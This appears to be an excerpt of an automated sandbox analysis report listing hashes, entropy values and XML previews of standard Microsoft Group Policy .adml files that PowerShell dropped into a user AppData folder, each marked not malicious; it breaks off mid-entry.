Entropy (8bit):	4.895822032017801
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yr7g9f8rbcFCv/9g4+4R4ldQ8o9+YPb+aDDWFV:cgeD5x8gm8fKN2fcFC2u47QxQ3aDDWFV
MD5:	33757EAC0441251ACE18BD74FF8E2BD0
SHA1:	B9DBC0B240CF803AFACB5D8D9AD26E39B757B04B
SHA-256:	44FA3B1E818EF70305AD41012D78CF140851EC0949D4F2457F60C295E31C8EDC
SHA-512:	5FB7BD40C37EAB269C7E9CF72EFB29D6A6A2EF76DB29DADD628866143A15FCEE46C865BE54C66D7C6ADE13766FF1A3028912BDF8BE05F1A6CD69D254431180C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AppMgmt_COM_SearchForCLSID">Download missing COM components</string>.. <string id="AppMgmt_COM_SearchForCLSID_Help">This policy setting directs the system to search Active Directory for missing Component Object Model (COM) components that a program requires.....Many Windows programs, such as the MMC snap-ins, use the interfaces provided by the COM components. These programs cannot perform all their functions unless Windows has internally registered the required components.....If you enable this policy setting

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\CipherSuiteOrder.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1488), with CRLF line terminators
Category:	dropped
Size (bytes):	6011
Entropy (8bit):	5.030765177000099
Encrypted:	false
SSDEEP:	96:LeD5pmTKr0l1CSYNTV5vDiUFO3q6fWbKldN6joV:EqMRbaW+HN6c
MD5:	F7E00A4ABE6853A853D65FB722604674
SHA1:	9CFD9B20C60FB7024F91A7902D84182081427D7F
SHA-256:	4E01B6A54C1B3933D33645729AF7F69E50D687C37DB985A924917E6F8ACAB15B
SHA-512:	2ADAC9CDA13B12F0C2B2F7E9C9B943B50BE9A217FB32B486F783A5D842A820F2F2928E5336DE6E4FCA4B5CD9FC4F2D7FAA09F6C8285550CA7B3BD19E0CE4CA8B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SSLConfiguration">SSL Configuration Settings</string>.. <string id="SSLCipherSuiteOrder">SSL Cipher Suite Order</string>.. <string id="SSLCipherSuiteOrder_Help">This policy setting determines the cipher suites used by the Secure Socket Layer (SSL)..... If you enable this policy setting, SSL cipher suites are prioritized in the order specified..... If you disable or do not configure this policy setting, the factory default cipher suite order is used..... SSL2, SSL3, TLS 1.0 and T

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Conf.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10980
Entropy (8bit):	4.778547657476326
Encrypted:	false
SSDEEP:	96:LeD5pmrrC2ZHEU5p5a4LH/+3SenetLKZHtpeL3DKTGbpKPKryy6JI5oyvr5UV:ESrC2RlFagcSenetKZHtOzrKPKrB5xj+
MD5:	797657FCFBC025F92F896B0095D1F6E4
SHA1:	F357F8B9A9671F711EAE5BEB7759A2EF73B953E9
SHA-256:	032F6BB5FBA082CA24EA70F6CBDC25E913FD43B68A44582AB30AEB29509FC2ED
SHA-512:	9C90FEE9737A7F66CD50B43C30A2BA05DC861A76618612DC744F7075D3296DDE577589060D3CC5779E44CA14ADD42502420DCDF9A68825817795FC89418847DD
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowPersistAutoAcceptCalls">Allow persisting automatic acceptance of Calls</string>.. <string id="AllowPersistAutoAcceptCalls_Help">Make the automatic acceptance of incoming calls persistent.</string>.. <string id="AppSharing">Application Sharing</string>.. <string id="AudioVideo">Audio & Video</string>.. <string id="DisableAdvCallingButton">Disable the Advanced Calling button</string>.. <string id="DisableAdvCallingButton_Help">Disables the Advanced Calling button on the General Optio

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ControlPanel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (545), with CRLF line terminators
Category:	dropped
Size (bytes):	6210
Entropy (8bit):	4.659729688008146
Encrypted:	false
SSDEEP:	96:LeD5pm0xrbTb9qSrboXpqjKq+F6TzGQ5wtt1cvWebgbPWLSrbTpKb9LbpqjKm+xN:EXx19axpuN52t16W7WW7p4Xxt49tY
MD5:	02F20EFB8F224DE1BECE4FA4FADF1442
SHA1:	16091D04A7A93CC21A3935841D1F30C643C2A782
SHA-256:	2D07C5B7079ED696AA73A4806A1B1FEB2863B6A579033EF1F0A10E3D5D5E5FBC
SHA-512:	D7239C57FA747F36C770D68BBDF31354A9C53D7A7AA3530CE7367FE612CE04B903142CDBBFCBAC11098D47E00D58B0C6620EF18CE324AD9933CBEB0FB5B6D15D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisallowCpls">Hide specified Control Panel items</string>.. <string id="DisallowCpls_Help">This setting allows you to display or hide specified Control Panel items, such as Mouse, System, or Personalization, from the Control Panel window and the Start screen. The setting affects the Start screen and Control Panel window, as well as other ways to access Control Panel items, such as shortcuts in Help and Support or command lines that use control.exe. This policy has no effect on items displayed in PC settings...

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ControlPanelDisplay.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (334), with CRLF line terminators
Category:	dropped
Size (bytes):	21011
Entropy (8bit):	4.7324938774717955
Encrypted:	false
SSDEEP:	384:VfRyKGkSDgF+vXDtchtrWzsbHX92eLb2vB1E4RRN9:VfRXTCrvXDWrWziN2ZvB1fRX
MD5:	61CB7046C23A14515C58521DAD36AB6F
SHA1:	62EC7A88975656944FD8CA72924A916336112465
SHA-256:	A4F9A17502E8ABA9E82C5C324CBED40E109A565CA2E27B3D79389F1A595B3CCD
SHA-512:	13473DEADE6477440D9515C9FC6BABECDB59FE9A806633B003B14E71EC6E762DD9E13A9BFD1DFED554D7CA6A664B3C1EF0CEB7C8278F22CC0E0EEB793E697C1F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Display">Display</string>.. <string id="CPL_Display_Disable">Disable the Display Control Panel</string>.. <string id="CPL_Display_Disable_Help">Disables the Display Control Panel.....If you enable this setting, the Display Control Panel does not run. When users try to start Display, a message appears explaining that a setting prevents the action.....Also, see the "Prohibit access to the Control Panel" (User Configuration\Administrative Templates\Control Panel) and "Remove programs on Settings menu" (User Configuration\Administrative Templates\Star

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Cpls.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	4.924174965870825
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEBWNvHjWy8XGkjR7S2kjeRqZ+RguJb+RguJM6dGQEn:cgeD5x8gm8fKlBWN7WyeOuJ3uJv3EFV
MD5:	3A236D3ED9A6EAE336DE47BD71132D58
SHA1:	621C59891B91951F2E863EEFEA2D8310FB5125E3
SHA-256:	EF075F5436A4117C29F2D6689A8ED6ACC3BA22EAFBDEEA20C2349DBA5CFE1F33
SHA-512:	862AABB60EFFAC016188CF56BB6EC48F7E4F6847B4A1A4A525C1FD93DAA0269E0CB02DC8362F5B3029F817D1096B8C5BB48FA1717FE4084E2A99CDE13A3CE573
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Users">User Accounts</string>.. <string id="Users_Help">Contains settings to control the behavior of User Accounts</string>.. <string id="UseDefaultTile">Apply the default account picture to all users</string>.. <string id="UseDefaultTile_Help">This policy setting allows an administrator to standardize the account pictures for all users on a system to the default account picture. One application for this policy setting is to standardize the account pictures to a company logo.....Note: The default acc

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\CredSsp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	20162
Entropy (8bit):	4.80118154121946
Encrypted:	false
SSDEEP:	192:EYLfqDwf4tdJ11wpL9uiansm9cjoOkfmW/MQfB:9qtVPaxu5mUTOYJ
MD5:	3F887766536AE5C7677E841C9A1E86F6
SHA1:	C3BFB966D06DF84A5BD9FCDD9C0CAF23A4F85B28
SHA-256:	91A36F497D459EF96B4CEDB88EE0884651D8B5C0EABCE1C1F4FEC6D49FF71A31
SHA-512:	7777FF19B4B1108A2688D02F25AC69E3F66D87F44A42AD60596B447188728B231E148E67390B39B7CBCF62E83121ECB55A84CB3D72A55827C0489FADABA5469C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowDefaultCredentials">Allow delegating default credentials</string>.. <string id="AllowDefaultCredentials_Explain">This policy setting applies to applications using the Cred SSP component (for example: Remote Desktop Connection).....This policy setting applies when server authentication was achieved by using a trusted X509 certificate or Kerberos.....If you enable this policy setting, you can specify the servers to which the user's default credentials can be delegated (default credentials are those that you

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\CredUI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.730467503379261
Encrypted:	false
SSDEEP:	96:LeD5pmUes8vc8gDcwFalisWNFIXwN30M5vYFV:Etes8vc8gowUAvIXwN30M5vYn
MD5:	1C00F0E54B646BACA8571FC0B7BE9582
SHA1:	0494D0849B95970D96E480C9B00C3694E4D50029
SHA-256:	625371BBA40530A9A4A88E167B4870634F7583BB601D16954ED8FF4A0E5242E9
SHA-512:	99A2B51A6ADDF470B15DFDC2D3D32CA305113C427CDF7C3B85FD3BD43F17B989B5BEA38BA78821DA5A8978437DD3E484CCB283D9B01B737C05C4B7D82288D749
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CredUI">Credential User Interface</string>.. <string id="CredUI_Help">Contains settings to control the behavior of credential collection.</string>.. <string id="EnumerateAdministrators">Enumerate administrator accounts on elevation</string>.. <string id="EnumerateAdministrators_Help">This policy setting controls whether administrator accounts are displayed when a user attempts to elevate a running application. By default, administrator accounts are not displayed when the user attempts to elevate a ru

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\CredentialProviders.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (479), with CRLF line terminators
Category:	dropped
Size (bytes):	5460
Entropy (8bit):	4.757258895669925
Encrypted:	false
SSDEEP:	96:LeD5pmAznn5XkKkcx1ftU6beY3rqFimzWSsdK/l+3yY8V:Ejznn5XkJcx1fdPrqFOXU/loyb
MD5:	B735FF00BD6511F0525C74881042CFBF
SHA1:	F9540A99E5654EA5F6B7AAF49CE35F591CEC2863
SHA-256:	FF1B853B846EA63064AD460B42C44230DE008297B6A2DDB8DAA48991A5684C14
SHA-512:	A585AE89C4B13A6A2DE50D414069FE40D3DB53395A4E79B5865B530ACC6963B2C89647D2735B27229503B58BAC47B4C43B38E6E2BEB00B81EC6F1D76DB441C06
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DefaultLogonDomain">Assign a default domain for logon</string>.. <string id="DefaultLogonDomain_Help">This policy setting specifies a default logon domain, which might be a different domain than the domain to which the computer is joined. Without this policy setting, at logon, if a user does not specify a domain for logon, the domain to which the computer belongs is assumed as the default domain. For example if the computer belongs to the Fabrikam domain, the default domain for user logon is Fabrikam. ....If y

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\CtrlAltDel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (353), with CRLF line terminators
Category:	dropped
Size (bytes):	3490
Entropy (8bit):	4.799993012083926
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKwZJBaoC9DxBboMEBar+Nc456uFDPrJNBFiy4jyDznyHSMrmdzcFV:LeD5pm8ZJjQDxXONcOXNB9HyHbrvFV
MD5:	8EB6CBECFCFB7FB15E453E235713F0D2
SHA1:	37170BA6139BD471C4121ED7747E8C9544E64E4A
SHA-256:	23EAF2144B343ACCE5EC33DFB0363BA5B53E1ED8F5E0557F7597F02C1A659B0C
SHA-512:	F3B96C2721592E9C5CD8CAF20DACCAE170B46BDBBBD24D4A6D1ACC3CA3D10BFA9AC23DA2B5B3F9CF7D9F7918236C1C686918BB392595C634E97B56070AEDE007
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CADOptions">Ctrl+Alt+Del Options</string>.. <string id="DisableChangePassword">Remove Change Password</string>.. <string id="DisableChangePassword_Help">This policy setting prevents users from changing their Windows password on demand.....If you enable this policy setting, the 'Change Password' button on the Windows Security dialog box will not appear when you press Ctrl+Alt+Del.....However, users are still able to change their password when prompted by the system. The system prompts users for a new pass

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DCOM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (507), with CRLF line terminators
Category:	dropped
Size (bytes):	5072
Entropy (8bit):	4.789995597871682
Encrypted:	false
SSDEEP:	96:LeD5pmc4qzQuQ+kCO+QW9JvqIiErBAqHPkGitHqEJw2mL8ykL3/NBV:El4qE9+kCOtW9dqIiErBAgPk/tKEJw2D
MD5:	7DF9E61D5F72660A48741A9D1AE6DF2A
SHA1:	A623BD2021EAA8863519E110E2C4D141D68E6DEE
SHA-256:	BD0E69BF353115E23B4344875DA15DF78BD4ADF676EEAB35AED30A21C129EBED
SHA-512:	726FC2BD5444E1791811C9F39B3B535D155AA0BA2AC8B50F7A8B6FAF48E7BEDBD542C96C701A1CD58B1C89B89DA04D9C175E9CCDE70DA27C92E073E570138DD1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DCOM">Distributed COM</string>.. <string id="DCOMActivationSecurityCheckAllowLocalList">Allow local activation security check exemptions</string>.. <string id="DCOMActivationSecurityCheckAllowLocalList_Explain">Allows you to specify that local computer administrators can supplement the "Define Activation Security Check exemptions" list.....If you enable this policy setting, and DCOM does not find an explicit entry for a DCOM server application id (appid) in the "Define Activation Security Check exemptions

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DFS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	4.934966284712348
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yAyjP9jlFxUy3QviR0IhjV:cgeD5x8gm8fK0jlFxUM7FV
MD5:	59649458234FA8EC0FA1CCF6D1A1F000
SHA1:	FA84DC8C633AC66D93C2CC4CA82973690CC01B06
SHA-256:	7C621BDFA9AAFBB72C6E3EAA6BD9DADB9B87B76FF3085C3AB85F94A4BA74148B
SHA-512:	3DAC7345CDF6E474EC6550890D2581E97CECCBDF3D6DA446D0B4051600B81E66725E20E3905FC8ED051E00AE74B7899ECEC073C828E776FB664731218F88E528
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DFSDiscoverDC">Configure how often a DFS client discovers domain controllers</string>.. <string id="DFSDiscoverDC_Help">This policy setting allows you to configure how often a Distributed File System (DFS) client attempts to discover domain controllers on a network. By default, a DFS client attempts to discover domain controllers every 15 minutes.....If you enable this policy setting, you can configure how often a DFS client attempts to discover domain controllers. This value is specified in minutes.....If you

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DWM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4823
Entropy (8bit):	4.829103521253636
Encrypted:	false
SSDEEP:	96:LeD5pm8i9yPYwH70day2JGkA5mZAOtfMtlV:E1i9Yn0zMA3G6
MD5:	8C0C1F2AC3237B8AA71F88A5650C0E68
SHA1:	8A39FC535339841CC7573B1DCFF729CEC8E54114
SHA-256:	844BF77E54E0C353537B0D1349F0173049DD36C0CB64EAEE900663CD0A227AB4
SHA-512:	C6F8AC395D011EC45EBF47812EBEBF7E152DB6A943566B744AA83B22529DF07E3D0749D008B5F3A8A46953CCCF39305966869E5EFE502B1E727CF55ED7A05F4F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CAT_DesktopWindowManager">Desktop Window Manager</string>.. <string id="CAT_DesktopWindowManagerColorization">Window Frame Coloring</string>.. <string id="DwmDefaultColorizationColor">Specify a default color</string>.. <string id="DwmDefaultColorizationColorExplain">This policy setting controls the default color for window frames when the user does not specify a color. ....If you enable this policy setting and specify a default color, this color is used in glass window frames, if the user does not sp

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Desktop.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (543), with CRLF line terminators
Category:	dropped
Size (bytes):	22651
Entropy (8bit):	4.740040645096249
Encrypted:	false
SSDEEP:	384:sHlNSiouVHqVHdjZjfYBi1lkmX15/5GYyr2cci:qNSiVs9jBwBiHk0v/5Grrh
MD5:	3B0954050C6DFF90CAE771936C61F536
SHA1:	5D6D1097DE13011B78271272B87DE55C2BFFCEA8
SHA-256:	F8DA2C6952EBABA7C70F5BB5941532A2E6112955E3E340F003581E96BB7B0881
SHA-512:	097C9E8A0B5BC0B97777F6A591E7CEF5A2362668B05C42624593069FD4F2E6279EA8D83CBCADA7C973E9E1CCED78B1149889A333021FA904A23BF0D6FBEC06FC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDesktop">Desktop</string>.. <string id="ActiveDirectory">Active Directory</string>.. <string id="AD_EnableFilter">Enable filter in Find dialog box</string>.. <string id="AD_EnableFilter_Help">Displays the filter bar above the results of an Active Directory search. The filter bar consists of buttons for applying additional filters to search results.....If you enable this setting, the filter bar appears when the Active Directory Find dialog box opens, but users can hide it.....If you disable this

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DeviceCompat.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1012
Entropy (8bit):	5.014566400985145
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yFMNWe2PEYLdFV:cgeD5x8gm8fKOE+FV
MD5:	8C5BFC23602CF18E6EC73BDF468C5C65
SHA1:	87C49103ECB11F3284DE1311D305CE426DA77573
SHA-256:	5FE3FC627DFAEDDEDDD5C617D4DDD1AB367353A97026268C27AB45B8A9025472
SHA-512:	ED4BF6B6D7F2F5B248DF14DAA85551613583E8DCFD734266E08296F0DCB52055A2CAD56C23DDFA20EA3315A9DD3B3D538EE673C89E97CFC8D5D9BE39BB575794
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceCompat">Device and Driver Compatibility</string>.. <string id="DeviceFlags">Device compatibility settings</string>.. <string id="DriverShims">Driver compatibility settings</string>.. <string id="DeviceFlags_Help">Changes behavior of Microsoft bus drivers to work with specific devices.</string>.. <string id="DriverShims_Help">Changes behavior of 3rd-party drivers to work around incompatibilities introduced between OS versions.</string>.. </stringTable>.. </resources>..</policyDefinition

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DeviceInstallation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (671), with CRLF line terminators
Category:	dropped
Size (bytes):	20516
Entropy (8bit):	4.656487634133671
Encrypted:	false
SSDEEP:	384:/Zy2dT4b3O+5KeqO+cpm964BNLKsuV2r4tFHsAvRzw3g:/ZBub+EKebxpm97ODVy4rHb5EQ
MD5:	B0D80E37838946A958789511D6090800
SHA1:	E80EBC94D870B40E9925D9473E83438287A3DF50
SHA-256:	EAD0368B0AB7404ADDC0B8BD016E04D43C7A1E370A2875A6785863A53CC94095
SHA-512:	A13D7AA56FA39803B8CB441DD6907A0F06E2B89EB478B6C6D57687F0E154DE44EF959411627C33D5652D096E439F6518C624A4F159189C8DA7AD51370FB12AD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceInstall_AllowAdminInstall">Allow administrators to override Device Installation Restriction policies</string>.. <string id="DeviceInstall_AllowAdminInstall_Help">This policy setting allows you to determine whether members of the Administrators group can install and update the drivers for any device, regardless of other policy settings.....If you enable this policy setting, members of the Administrators group can use the Add Hardware wizard or the Update Driver wizard to install and update the drivers for

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DeviceSetup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	8722
Entropy (8bit):	4.755555827203055
Encrypted:	false
SSDEEP:	96:LeD5pm90hTxQOL2iYoQkdN+Rn+kJu+G6f9Yh3VfPtvCchfvaCz+51qMnHV:EbTmUvQkdN+F+au+G6etntbz+5su
MD5:	9E7C326DCCFD5BDAE53F0FF7359042CF
SHA1:	BFC33D23A42406EF057AC21BCECA4310C256C901
SHA-256:	4E1BC9FDA548EEBF29A499B61CE0462983DD461DB84F4B2C63150636B917036B
SHA-512:	96C937F5F6871D7BD0F3FDF0B6D502232C29C6E77DE7B1FD0A79DB4ADBC7EAAFBC0A60C76C8AF6D5D85CA7397A4C995BE385320C64D23076A7658C1B1187A624
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceInstall_BalloonTips">Turn off "Found New Hardware" balloons during device installation</string>.. <string id="DeviceInstall_BalloonTips_Help">This policy setting allows you to turn off "Found New Hardware" balloons during device installation.....If you enable this policy setting, "Found New Hardware" balloons do not appear while a device is being installed.....If you disable or do not configure this policy setting, "Found New Hardware" balloons appear while a device is being installed, unless the driver

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DigitalLocker.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	5.006514157459994
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEgDfJvRl9xCRMRq9MXJz1c2igRE3RwMwFxRjX/5Ron:cgeD5x8gm8fKqTtW9M71ibKMFV
MD5:	A4EECA9FC18FD2F595ECC98FD40E0F5F
SHA1:	EFBAB95F94C418BE4B025F3CA14BA3441C1D7CE8
SHA-256:	348B0A60BCA267759CA52611C67B06AB3347CAB23786C257D984EB7F3F94C6A2
